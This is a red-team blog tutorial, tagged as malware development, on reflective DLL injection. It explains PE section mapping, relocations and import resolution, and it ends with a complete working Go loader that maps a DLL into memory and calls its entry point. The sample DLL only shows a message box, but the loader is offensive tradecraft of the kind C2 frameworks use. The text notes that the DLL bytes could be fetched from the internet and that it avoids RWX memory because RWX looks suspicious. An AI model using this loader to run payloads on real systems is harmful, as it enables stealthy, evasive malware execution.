2. Reflective DLL Injection

#malware #development #golang #dllinjection #reflective #redteam

Introduction

Reflective DLL injection is one of the most common techniques used for loading code in memory. Most c2 frameworks are using some variation of this code to reflectively and dynamically load additional functionality (meterpreter, cobalt strike).

It is also common for these frameworks to provide SRDI functionality which is basically the same code as described in this article, turned into assembly and appended (or prepended) to the dll bytes. That provides more flexibility since the code could be handled the same way as any PIC shellcode.

Background knowledge

In an ideal scenario we would load the dll in memory, and point execution to the entry point and that would be the end of it. Unfortunately, it's not that simple and quite a few steps are required before executing the dll.

The code needs to be broken into 3 parts.

1. RAW offsets -> RVA

When the dll is on disc the different sections are addressed with the raw offset but when the dll is in memory the different sections are addressed using the RVA. Let's take a look into the section headers.

type IMAGE_SECTION_HEADER struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}

In this case we are particularly interested in lines 4,5 and 6.

Let's see the definitions from Microsoft's documentation:

VirtualAddress

For executable images, the address of the first byte of the section relative to the image base when the section is loaded into memory. For object files, this field is the address of the first byte before relocation is applied; for simplicity, compilers should set this to zero. Otherwise, it is an arbitrary value that is subtracted from offsets during relocation.

SizeOfRawData

The size of the section (for object files) or the size of the initialized data on disk (for image files). For executable images, this must be a multiple of FileAlignment from the optional header. If this is less than VirtualSize, the remainder of the section is zero-filled. Because the SizeOfRawData field is rounded but the VirtualSize field is not, it is possible for SizeOfRawData to be greater than VirtualSize as well. When a section contains only uninitialized data, this field should be zero.

PointerToRawData

The file pointer to the first page of the section within the COFF file. For executable images, this must be a multiple of FileAlignment from the optional header. For object files, the value should be aligned on a 4-byte boundary for best performance. When a section contains only uninitialized data, this field should be zero.

So in summary the PointerToRawData points to the data when the dll is at rest, the SizeOfRawData is the actual size of the data pointed to by the PointerToRawData and the VirtualAddress is the Relative address from the base address to be used during execution. When the dll is loaded in memory the image size expands and therefore any additional space will be filled with 0s. To better understand the above concepts we can take a look at PE bear for a visual representation of the dll on disk and in memory.

The sections on the left represent the dll on disk while the data on the right represent the dll in memory. The grey padding in between sections is zero-filled.

2. Relocations

When a DLL is loaded into memory it's base address is the same as the Image Base address from the optional header right? Nope, Wrong. Ever since the introduction of the ASLR (dll base addresses are randomised by the OS) it is highly improbable for a dll to be loaded at its preferred address.

We could try allocate the specific memory using VirtualAlloc, but it could potentially fail if the memory is already reserved. If we fail to allocate the preferred address the dll execution will fail since the compiler hardcodes addresses in the dll at compile time.

Thankfully for us the hardcoded values are documented in the .reloc section of the executable. Let's have a quick look in the following c structures.

typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY

We are interested in the PageAddress and the Offset. Adding these two should give us the RVA of the address that needs to be relocated.

Let's go back to PE-Bear again in order to understand exactly what we are supposed to do.

We can see that we have a relocation at page with RVA 0x2000. The offset of the relocation is at 0x558. That gives us the relocation RVA of 0x2558 (0x2000+0x558).

At the very top we can see the memory that has the value 40 25 40 AE 03. That is essentially an address pointer 0x03ae722540.

From the optional header we can see that the preferred image Base of the DLL is 0x3ae720000.

To get the correct value we need to perform the following calculation:

0x03ae722540 - 0x3ae720000 which will give us the RVA and add the new dll base address returned from VirtualAlloc.

We then have to loop through all pages and modify all relocations for all pages.

3. Import Directory

The last obstacle to executing the dll is to dynamically resolve the Import addresses and modify the IAT to include them. The answer in this stackoverflow article provides a very good explanation of the process.

type IMAGE_IMPORT_DESCRIPTOR struct {
	Characteristics uint32
	TimeDateStamp   uint32
	ForwarderChain  uint32
	Name            uint32
	FirstThunk      uint32
}

So in the .idata section we can find an array of IMAGE_IMPORT_DESCRIPTORS, one for each external dll requirement. This is how it looks in pe-bear.

So what we are interested is the FirstThunk. That is an RVA pointing to an array of _IMAGE_THUNK_DATA

typedef struct _IMAGE_THUNK_DATA {
    union {
        uint32_t* Function;             // address of imported function
        uint32_t  Ordinal;              // ordinal value of function
        PIMAGE_IMPORT_BY_NAME AddressOfData;        // RVA of imported name
        DWORD ForwarderStringl              // RVA to forwarder string
    } u1;
} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;

When looking at the struct in memory we come across another RVA which essentially points to the name of the function.

So by navigating the IMAGE_IMPORT_DESCRIPTOR and the _IMAGE_THUNK_DATA we can get the names (or ordinals) of the functions we need to import and add the memory addresses at the location of the first thunk and then increase by 8 bytes in a loop for all subsequent functions.

The following image demonstrates how the end result will look like after the import addresses are written in the IAT:

Code analysis

DLL code

All this code does is to display a MessageBox when the dll is attached to a process. The only exported function is DllMain.

To compile it simply run gcc -shared -o mydll.dll dll.c

A compiled version of the dll can be find on my github repo

#include <windows.h>
#define DLLEXPORT   __declspec( dllexport )

DLLEXPORT BOOL DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved);

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "DLL PROCESS ATTACH", "Bingo!", 0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        default:
            break;
    }
    return TRUE;
}

1. Read DLL contents

This can be modified so the bytes can be received from the internet, but for the sake of simplicity we just used the ReadFile function to read the contents of the dll in a byte slice.

We then get a pointer to the first byte of the slice to use as the base address.

dllBytes, err := os.ReadFile("mydll.dll")
	if err != nil {
		log.Fatalf("Failed to open file %v", err)
	}
	dllPtr := uintptr(unsafe.Pointer(&dllBytes[0]))

Once the dll is loaded to memory we can then go ahead and capture the contents of the PE headers.

type IMAGE_NT_HEADERS64 struct {
	Signature      uint32
	FileHeader     IMAGE_FILE_HEADER
	OptionalHeader IMAGE_OPTIONAL_HEADER64
}

// IMAGE_OPTIONAL_HEADER64 represents the optional header for 64-bit architecture.
type IMAGE_OPTIONAL_HEADER64 struct {
	Magic                       uint16
	MajorLinkerVersion          uint8
	MinorLinkerVersion          uint8
	SizeOfCode                  uint32
	SizeOfInitializedData       uint32
	SizeOfUninitializedData     uint32
	AddressOfEntryPoint         uint32
	BaseOfCode                  uint32
	ImageBase                   uint64
	SectionAlignment            uint32
	FileAlignment               uint32
	MajorOperatingSystemVersion uint16
	MinorOperatingSystemVersion uint16
	MajorImageVersion           uint16
	MinorImageVersion           uint16
	MajorSubsystemVersion       uint16
	MinorSubsystemVersion       uint16
	Win32VersionValue           uint32
	SizeOfImage                 uint32
	SizeOfHeaders               uint32
	CheckSum                    uint32
	Subsystem                   uint16
	DllCharacteristics          uint16
	SizeOfStackReserve          uint64
	SizeOfStackCommit           uint64
	SizeOfHeapReserve           uint64
	SizeOfHeapCommit            uint64
	LoaderFlags                 uint32
	NumberOfRvaAndSizes         uint32

	DataDirectory [16]IMAGE_DATA_DIRECTORY
}


// IMAGE_FILE_HEADER represents the file header in the IMAGE_NT_HEADERS structure.
type IMAGE_FILE_HEADER struct {
	Machine              uint16
	NumberOfSections     uint16
	TimeDateStamp        uint32
	PointerToSymbolTable uint32
	NumberOfSymbols      uint32
	SizeOfOptionalHeader uint16
	Characteristics      uint16
}

The headers hold a lot of information that will be useful throughout our program. To cast the dll pointer to the above structure the following code is used:

	e_lfanew := *((*uint32)(unsafe.Pointer(dllPtr + 0x3c)))
	nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(dllPtr + uintptr(e_lfanew)))

From now on instead of having to read contents of the memory we can use this struct to get our desired values.

2. Allocate memory for the dll

As discussed in the previous section we will have to rearrange the layout of the dll to match the expected RVA offsets. In order to do that we will used VirtualAlloc Windows API. In order to to avoid having the highly suspicious RWX permissions we will first assign the RW permissions and then change the permissions of the .text section to RX.

The allocated memory will have the size specified in the OptionalHeader. We also specify the desired address from the optional header. If the memory is being reserved, the specified address is rounded down to the nearest multiple of the allocation granularity. If the memory is already reserved and is being committed, the address is rounded down to the next page boundary.

	dllBase, err := windows.VirtualAlloc(
		uintptr(nt_header.OptionalHeader.ImageBase),
		uintptr(nt_header.OptionalHeader.SizeOfImage),
		windows.MEM_RESERVE|windows.MEM_COMMIT,
		windows.PAGE_EXECUTE_READWRITE,
	)
	if err != nil {
		log.Fatalf("[!] VirtualAlloc Failed")
	}

	fmt.Printf("[+] Allocated address at 0x%x\n\n", dllBase)

3. Copy the DLL headers

The first step is to copy the headers of the dll to our newlly allocated memory. The headers start from offset 0 and the size can be found in the optional header (SizeOfHeaders).

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(windows.CurrentProcess(), 
					dllBase, 
					&dllBytes[0], 
					uintptr(nt_header.OptionalHeader.SizeOfHeaders), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[!] WriteProcessMemory Failed")
	}

4. Copy the DLL sections

As previously mentioned, copying sections is not straight forward. We will have to turn RAW offsets to RVAs and fill the resulting memory gaps with zeros. Thankfully for us VirtualAlloc allocates a page of zeros therefore we only have to write the sections at the correct offset.

Firstly we need to identify how many sections there are in our dll. The IMAGE_FILE_HEADER holds that value in the NumberOfSection variable.

We then go ahead and calculate the address of our section headers.

	numberOfSections := int(nt_header.FileHeader.NumberOfSections)

	var sectionAddr uintptr
	sectionAddr = dllPtr + uintptr(e_lfanew) 
			+ unsafe.Sizeof(nt_header.Signature) 
			+ unsafe.Sizeof(nt_header.OptionalHeader) 
			+ unsafe.Sizeof(nt_header.FileHeader)

We then create a for loop to read the section header entries and copy each section to the right location. Firstly we have to define the IMAGE_SECTION_HEADER struct

type IMAGE_SECTION_HEADER struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}
	for i := 0; i < numberOfSections; i++ {
		section := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(sectionAddr))
		sectionDestination := dllBase + uintptr(section.VirtualAddress)
		sectionBytes := (*byte)(unsafe.Pointer(dllPtr + uintptr(section.PointerToRawData)))
		fmt.Printf("[+] Copying %d bytes from 0x%x -> 0x%x for section : %s", section.SizeOfRawData, dllPtr+uintptr(section.PointerToRawData), sectionDestination, windows.ByteSliceToString(section.Name[:]))

		err = windows.WriteProcessMemory(windows.CurrentProcess(), sectionDestination, sectionBytes, uintptr(section.SizeOfRawData), &numberOfBytesWritten)
		if err != nil {
			log.Fatalf("[!] WriteProcessMemory Failed: %v \n", err)
		}

		fmt.Printf("	... Bytes 0x%x/0x%x Written\n", section.SizeOfRawData, numberOfBytesWritten)
		if windows.ByteSliceToString(section.Name[:]) == ".text" {
			var oldprotect uint32
			err := windows.VirtualProtect(sectionDestination, uintptr(section.SizeOfRawData), windows.PAGE_EXECUTE_READ, &oldprotect)
			if err != nil {
				log.Fatalln("[ERROR] Failed to change memory permissions")
			}
		}
		sectionAddr += unsafe.Sizeof(*section)
	}
	fmt.Println()

Line 2: We then cast the section address to the IMAGE_SECTION_HEADER

Line 3: We identify the section destination by adding the dllBase returned by VirtualAlloc and adding the section.VirtualAddress.

Line 4: We take the source bytes for the byte slice base address and by adding the section.PointerToRawData.

Line 7: We write the bytes to memory. The size comes from the section header (SizeOfRawData)

Line 13: We check if the last section written to memory is .text. If that's the case we use VirtualProtect to change the permissions to RX.

5. Relocations

With all the dll data now copied in the target address we now have to modify the hardcoded addresses in memory.

Firstly we define the following constant to make our code more readable

IMAGE_DIRECTORY_ENTRY_BASERELOC = 0x5

We then go ahead and calculate the address of the reolcation_table and also calculate the value we need to add to our current hardcoded addresses.

relocations := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
relocation_table := uintptr(relocations.VirtualAddress) + dllBase
fmt.Printf("[+] Relocation table Address: 0x%x\n\n", relocation_table)

var relocations_processed int = 0
deltaImageBase := dllBase - uintptr(nt_header.OptionalHeader.ImageBase)

A few nested loops are used in order to capture the relocation blocks and the base relocation entries. Before we get into the code let's define a few structures first and a few helper functions.

type BASE_RELOCATION_BLOCK struct {
	PageAddress uint32
	BlockSize   uint32
}

// BASE_RELOCATION_ENTRY represents the base relocation entry structure
type BASE_RELOCATION_ENTRY struct {
	OffsetType uint16 // Combined field for Offset and Type
}

// Offset extracts the Offset from the combined field
func (bre BASE_RELOCATION_ENTRY) Offset() uint16 {
	return bre.OffsetType & 0xFFF
}

// Type extracts the Type from the combined field
func (bre BASE_RELOCATION_ENTRY) Type() uint16 {
	return (bre.OffsetType >> 12) & 0xF
}

The BASE_RELOCATION_ENTRY is not defined the same way it would in C (see below). Since we don't have bit level control to define the last 4 bits we go ahead and combine the two values in a sturct and use the Offset() and Type() helper functions to extract the desired values.

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

From the above we only need the PageAddress and Offset to find the RVA of the relocations.

Let's dive into the code to see how we can achieve it.

for {

	relocation_block := *(*BASE_RELOCATION_BLOCK)(unsafe.Pointer(uintptr(relocation_table + uintptr(relocations_processed))))
	relocEntry := relocation_table + uintptr(relocations_processed) + 8
	if relocation_block.BlockSize == 0 && relocation_block.PageAddress == 0 {
		break
	}
	relocationsCount := (relocation_block.BlockSize - 8) / 2
	fmt.Printf("[+] PAGERVA : 0x%04x   Size: 0x%02x Entries Count: 0x%02x\n", relocation_block.PageAddress, relocation_block.BlockSize, relocationsCount)

	relocationEntries := make([]BASE_RELOCATION_ENTRY, relocationsCount)

	for i := 0; i < int(relocationsCount); i++ {
		relocationEntries[i] = *(*BASE_RELOCATION_ENTRY)(unsafe.Pointer(relocEntry + uintptr(i*2)))
	}
	for _, relocationEntry := range relocationEntries {
		if relocationEntry.Type() == 0 {
			continue
		}
		fmt.Printf("	--> Value: %X	Offset: %x\n", relocationEntry.OffsetType, relocationEntry.Offset())
		var size uintptr
		byteSlice := make([]byte, unsafe.Sizeof(size))
		relocationRVA := relocation_block.PageAddress + uint32(relocationEntry.Offset())

		err = windows.ReadProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &byteSlice[0], unsafe.Sizeof(size), nil)
		if err != nil {
			log.Fatalf("[ERROR] Failed to ReadProcessMemory")
		}
		addressToPatch := uintptr(binary.LittleEndian.Uint64(byteSlice))
		addressToPatch += deltaImageBase
		a2Patch := uintptrToBytes(addressToPatch)
		err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &a2Patch[0], uintptr(len(a2Patch)), nil)
		if err != nil {
			log.Fatalf("[ERROR] Failed to WriteProcessMemory")
		}

	}
	relocations_processed += int(relocation_block.BlockSize)

}

Line 3: Calculates the address of the first relocation block

Line 4: Calculates the address of the first relocation entry

Line 8: Calculates how many relocations entries in the block

Line 11-15 : Creates a slice of BASE_RELOCATION_ENTRY and fills it in from the data on memory

Line 16: Loops through the contents of the slice

Line 23: Calculates the relocationRVA

Line 25: Reads the contents of the memory from memory

Line 29-31: Turns the byte slice to uintptr, Calculates the new address and turn it back to byte slice

Line 32-35: Writes the new address back to memory

6. Imports

The last piece of the puzzle is to fill in the addresses of the imported functions in IAT. Similarly with the relocations section, we have to find the address of our section from the import header.

Let's define our constant for the Data Directory index

IMAGE_DIRECTORY_ENTRY_IMPORT    = 0x1

Also the Image Import Descriptor struct has to be defined

type IMAGE_IMPORT_DESCRIPTOR struct {
	Characteristics uint32
	TimeDateStamp   uint32
	ForwarderChain  uint32
	Name            uint32
	FirstThunk      uint32
}

We then go ahead and calculate the address from the RVA

importsDirectory := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
importDescriptorAddr := dllBase + uintptr(importsDirectory.VirtualAddress)
fmt.Printf("[+] Import Descripton address: 0x%x\n\n", importDescriptorAddr)

Similarly to the previous section we start looping through the import descriptors

for {
	importDescriptor := *(*IMAGE_IMPORT_DESCRIPTOR)(unsafe.Pointer(importDescriptorAddr))
	if importDescriptor.Name == 0 {
		break
	}
	libraryName := uintptr(importDescriptor.Name) + dllBase
	dllName := windows.BytePtrToString((*byte)(unsafe.Pointer(libraryName)))
	fmt.Printf("[+] Importing DLL : %s\n", dllName)
	hLibrary, err := windows.LoadLibrary(dllName)
	if err != nil {
		log.Fatalln("[ERROR] LoadLibrary Failed")
	}
	addr := dllBase + uintptr(importDescriptor.FirstThunk)

	for {
		thunk := *(*uint16)(unsafe.Pointer(addr))
		if thunk == 0 {
			break
		}
		functionNameAddr := dllBase + uintptr(thunk+2)

		functionName := windows.BytePtrToString((*byte)(unsafe.Pointer(functionNameAddr)))
		proc, err := windows.GetProcAddress(hLibrary, functionName)
		if err != nil {
			log.Fatalln("[ERROR] Failed to GetProcAddress")
		}
		fmt.Printf("	--> Importing Function %s -> Addr: 0x%x\n", functionName, proc)
		procBytes := uintptrToBytes(proc)
		// https://reverseengineering.stackexchange.com/questions/16870/import-table-vs-import-address-table
		var numberOfBytesWritten uintptr
		err = windows.WriteProcessMemory(windows.CurrentProcess(), addr, &procBytes[0], uintptr(len(procBytes)), &numberOfBytesWritten)
		if err != nil {
			log.Fatalln("[ERROR] Failed to WriteProcessMemory")
		}
		addr += 0x8

	}
	importDescriptorAddr += 0x14
}

Line 2: Casting the pointer to IMAGE_IMPORT_DESCRIPTOR

Lines 6-8: Get the name of the dll to load. We can get the DLL name RVA from the importDescriptor.Name. We then get the name from the byte pointer located in the RVA.

Lines 9-12: Load the dll using windows API LoadLibrary

Line 13: Points to the thunk of the first imported function

Line 16: We then read the first 2 bytes to get the RVA to the Hint/Name of the function

Lines 20: We add 2 to the RVA to skip the hint and point directly to the Name bytes

Line 22: Get the Name of the function

Lines 23-27: Get the address of the function using the GetProcAddress API

Line 28: Turn the uintptr to a byte slice to be used in WriteProcessMemory

Lines 30-34: Overwrite the contents of the thunk with the address of the function.

Line 35: Adds 0x8 bytes to jump to the next thunk

Line 38: Adds 0x14 bytes to jump to the next image descriptor

7. Execution

With everything in place we can now use the SyscallN function to execute our code. We first define the DLL_PROCESS_ATTACH constant

	DLL_PROCESS_ATTACH              = 0x1
syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), 
		dllBase, 
		DLL_PROCESS_ATTACH, 
		0)
fmt.Println("[+] DLL function executed")
err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE)
if err != nil {
	log.Fatalln("[ERROR] Failed to Free Memory")
}
fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase)

Lines 1-4: We run the SyscallN function.

  • The first argument is the address to be executed in our case the entry point of the DLL, In the future we can go through the exports table and run any exported function

  • We then have to provide the base address of the dll

  • We then have to define the DLL_PROCESS_ATTACH in order to execute

Line 6: We perform some clean up actions after we are done executing the dll

Complete Code

package main

import (
	"encoding/binary"
	"fmt"
	"log"
	"os"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

type IMAGE_NT_HEADERS64 struct {
	Signature      uint32
	FileHeader     IMAGE_FILE_HEADER
	OptionalHeader IMAGE_OPTIONAL_HEADER64
}

// IMAGE_OPTIONAL_HEADER64 represents the optional header for 64-bit architecture.
type IMAGE_OPTIONAL_HEADER64 struct {
	Magic                       uint16
	MajorLinkerVersion          uint8
	MinorLinkerVersion          uint8
	SizeOfCode                  uint32
	SizeOfInitializedData       uint32
	SizeOfUninitializedData     uint32
	AddressOfEntryPoint         uint32
	BaseOfCode                  uint32
	ImageBase                   uint64
	SectionAlignment            uint32
	FileAlignment               uint32
	MajorOperatingSystemVersion uint16
	MinorOperatingSystemVersion uint16
	MajorImageVersion           uint16
	MinorImageVersion           uint16
	MajorSubsystemVersion       uint16
	MinorSubsystemVersion       uint16
	Win32VersionValue           uint32
	SizeOfImage                 uint32
	SizeOfHeaders               uint32
	CheckSum                    uint32
	Subsystem                   uint16
	DllCharacteristics          uint16
	SizeOfStackReserve          uint64
	SizeOfStackCommit           uint64
	SizeOfHeapReserve           uint64
	SizeOfHeapCommit            uint64
	LoaderFlags                 uint32
	NumberOfRvaAndSizes         uint32

	DataDirectory [16]IMAGE_DATA_DIRECTORY
}

// IMAGE_DATA_DIRECTORY represents a data directory entry.
type IMAGE_DATA_DIRECTORY struct {
	VirtualAddress uint32
	Size           uint32
}

// IMAGE_FILE_HEADER represents the file header in the IMAGE_NT_HEADERS structure.
type IMAGE_FILE_HEADER struct {
	Machine              uint16
	NumberOfSections     uint16
	TimeDateStamp        uint32
	PointerToSymbolTable uint32
	NumberOfSymbols      uint32
	SizeOfOptionalHeader uint16
	Characteristics      uint16
}

type IMAGE_SECTION_HEADER struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}

type BASE_RELOCATION_BLOCK struct {
	PageAddress uint32
	BlockSize   uint32
}

// BASE_RELOCATION_ENTRY represents the base relocation entry structure
type BASE_RELOCATION_ENTRY struct {
	OffsetType uint16 // Combined field for Offset and Type
}

// Offset extracts the Offset from the combined field
func (bre BASE_RELOCATION_ENTRY) Offset() uint16 {
	return bre.OffsetType & 0xFFF
}

// Type extracts the Type from the combined field
func (bre BASE_RELOCATION_ENTRY) Type() uint16 {
	return (bre.OffsetType >> 12) & 0xF
}

type IMAGE_IMPORT_DESCRIPTOR struct {
	Characteristics uint32
	TimeDateStamp   uint32
	ForwarderChain  uint32
	Name            uint32
	FirstThunk      uint32
}

func uintptrToBytes(ptr uintptr) []byte {
	// Create a pointer to the uintptr value
	ptrPtr := unsafe.Pointer(&ptr)

	// Convert the pointer to a byte slice
	byteSlice := make([]byte, unsafe.Sizeof(ptr))
	for i := 0; i < int(unsafe.Sizeof(ptr)); i++ {
		byteSlice[i] = *(*byte)(unsafe.Pointer(uintptr(ptrPtr) + uintptr(i)))
	}

	return byteSlice
}

const (
	IMAGE_DIRECTORY_ENTRY_IMPORT    = 0x1
	IMAGE_DIRECTORY_ENTRY_BASERELOC = 0x5
	DLL_PROCESS_ATTACH              = 0x1
)

func main() {
	fmt.Println()
	dllBytes, err := os.ReadFile("mydll.dll")
	if err != nil {
		log.Fatalf("Failed to open file %v", err)
	}
	dllPtr := uintptr(unsafe.Pointer(&dllBytes[0]))

	fmt.Printf("[+] DLL of size %d is loaded in memory at 0x%x\n", len(dllBytes), dllPtr)

	e_lfanew := *((*uint32)(unsafe.Pointer(dllPtr + 0x3c)))
	nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(dllPtr + uintptr(e_lfanew)))

	dllBase, err := windows.VirtualAlloc(uintptr(nt_header.OptionalHeader.ImageBase),
		uintptr(nt_header.OptionalHeader.SizeOfImage),
		windows.MEM_RESERVE|windows.MEM_COMMIT,
		windows.PAGE_EXECUTE_READWRITE,
	)
	if err != nil {
		log.Fatalf("[!] VirtualAlloc Failed")
	}

	fmt.Printf("[+] Allocated address at 0x%x\n\n", dllBase)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase, &dllBytes[0], uintptr(nt_header.OptionalHeader.SizeOfHeaders), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[!] WriteProcessMemory Failed")
	}
	numberOfSections := int(nt_header.FileHeader.NumberOfSections)

	var sectionAddr uintptr
	sectionAddr = dllPtr + uintptr(e_lfanew) + unsafe.Sizeof(nt_header.Signature) + unsafe.Sizeof(nt_header.OptionalHeader) + unsafe.Sizeof(nt_header.FileHeader)


	for i := 0; i < numberOfSections; i++ {
		section := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(sectionAddr))
		sectionDestination := dllBase + uintptr(section.VirtualAddress)
		sectionBytes := (*byte)(unsafe.Pointer(dllPtr + uintptr(section.PointerToRawData)))
		fmt.Printf("[+] Copying %d bytes from 0x%x -> 0x%x for section : %s", section.SizeOfRawData, dllPtr+uintptr(section.PointerToRawData), sectionDestination, windows.ByteSliceToString(section.Name[:]))

		err = windows.WriteProcessMemory(windows.CurrentProcess(), sectionDestination, sectionBytes, uintptr(section.SizeOfRawData), &numberOfBytesWritten)
		if err != nil {
			log.Fatalf("[!] WriteProcessMemory Failed: %v \n", err)
		}

		fmt.Printf("	... Bytes 0x%x/0x%x Written\n", section.SizeOfRawData, numberOfBytesWritten)
		if windows.ByteSliceToString(section.Name[:]) == ".text" {
			var oldprotect uint32
			err := windows.VirtualProtect(sectionDestination, uintptr(section.SizeOfRawData), windows.PAGE_EXECUTE_READ, &oldprotect)
			if err != nil {
				log.Fatalln("[ERROR] Failed to change memory permissions")
			}
		}
		sectionAddr += unsafe.Sizeof(*section)
	}
	fmt.Println()

	relocations := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
	relocation_table := uintptr(relocations.VirtualAddress) + dllBase
	fmt.Printf("[+] Relocation table Address: 0x%x\n\n", relocation_table)

	var relocations_processed int = 0
	deltaImageBase := dllBase - uintptr(nt_header.OptionalHeader.ImageBase)

	for {

		relocation_block := *(*BASE_RELOCATION_BLOCK)(unsafe.Pointer(uintptr(relocation_table + uintptr(relocations_processed))))
		relocEntry := relocation_table + uintptr(relocations_processed) + 8
		if relocation_block.BlockSize == 0 && relocation_block.PageAddress == 0 {
			break
		}
		relocationsCount := (relocation_block.BlockSize - 8) / 2
		fmt.Printf("[+] PAGERVA : 0x%04x   Size: 0x%02x Entries Count: 0x%02x\n", relocation_block.PageAddress, relocation_block.BlockSize, relocationsCount)

		relocationEntries := make([]BASE_RELOCATION_ENTRY, relocationsCount)

		for i := 0; i < int(relocationsCount); i++ {
			relocationEntries[i] = *(*BASE_RELOCATION_ENTRY)(unsafe.Pointer(relocEntry + uintptr(i*2)))
		}
		for _, relocationEntry := range relocationEntries {
			if relocationEntry.Type() == 0 {
				continue
			}
			fmt.Printf("	--> Value: %X	Offset: %x\n", relocationEntry.OffsetType, relocationEntry.Offset())
			var size uintptr
			byteSlice := make([]byte, unsafe.Sizeof(size))
			relocationRVA := relocation_block.PageAddress + uint32(relocationEntry.Offset())

			err = windows.ReadProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &byteSlice[0], unsafe.Sizeof(size), nil)
			if err != nil {
				log.Fatalf("[ERROR] Failed to ReadProcessMemory")
			}
			addressToPatch := uintptr(binary.LittleEndian.Uint64(byteSlice))
			addressToPatch += deltaImageBase
			a2Patch := uintptrToBytes(addressToPatch)
			err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &a2Patch[0], uintptr(len(a2Patch)), nil)
			if err != nil {
				log.Fatalf("[ERROR] Failed to WriteProcessMemory")
			}

		}
		relocations_processed += int(relocation_block.BlockSize)

	}
	//time.Sleep(10 * time.Second)

	importsDirectory := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
	importDescriptorAddr := dllBase + uintptr(importsDirectory.VirtualAddress)
	fmt.Printf("[+] Import Descripton address: 0x%x\n\n", importDescriptorAddr)

	for {
		importDescriptor := *(*IMAGE_IMPORT_DESCRIPTOR)(unsafe.Pointer(importDescriptorAddr))
		if importDescriptor.Name == 0 {
			break
		}
		libraryName := uintptr(importDescriptor.Name) + dllBase
		dllName := windows.BytePtrToString((*byte)(unsafe.Pointer(libraryName)))
		fmt.Printf("[+] Importing DLL : %s\n", dllName)
		hLibrary, err := windows.LoadLibrary(dllName)
		if err != nil {
			log.Fatalln("[ERROR] LoadLibrary Failed")
		}
		addr := dllBase + uintptr(importDescriptor.FirstThunk)
		//char := dllBase + uintptr(importDescriptor.Characteristics)
		//fmt.Printf("First Thunk: 0%x\n", addr)
		//fmt.Printf("Chars: 0%x\n", char)
		for {
			thunk := *(*uint16)(unsafe.Pointer(addr))
			if thunk == 0 {
				break
			}
			functionNameAddr := dllBase + uintptr(thunk+2)

			functionName := windows.BytePtrToString((*byte)(unsafe.Pointer(functionNameAddr)))
			proc, err := windows.GetProcAddress(hLibrary, functionName)
			if err != nil {
				log.Fatalln("[ERROR] Failed to GetProcAddress")
			}
			fmt.Printf("	--> Importing Function %s -> Addr: 0x%x\n", functionName, proc)
			procBytes := uintptrToBytes(proc)
			// https://reverseengineering.stackexchange.com/questions/16870/import-table-vs-import-address-table
			var numberOfBytesWritten uintptr
			err = windows.WriteProcessMemory(windows.CurrentProcess(), addr, &procBytes[0], uintptr(len(procBytes)), &numberOfBytesWritten)
			if err != nil {
				log.Fatalln("[ERROR] Failed to WriteProcessMemory")
			}
			addr += 0x8

		}
		importDescriptorAddr += 0x14
	}
	//fmt.Printf("BreakPoint %x", dllBase+0x1251)
	//time.Sleep(time.Second * 10)
	syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), dllBase, DLL_PROCESS_ATTACH, 0)
	fmt.Println("[+] DLL function executed")
	err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE)
	if err != nil {
		log.Fatalln("[ERROR] Failed to Free Memory")
	}
	fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase)

}

References

[1] https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection

[2] https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm

[3] https://0xrick.github.io/categories/#win-internals

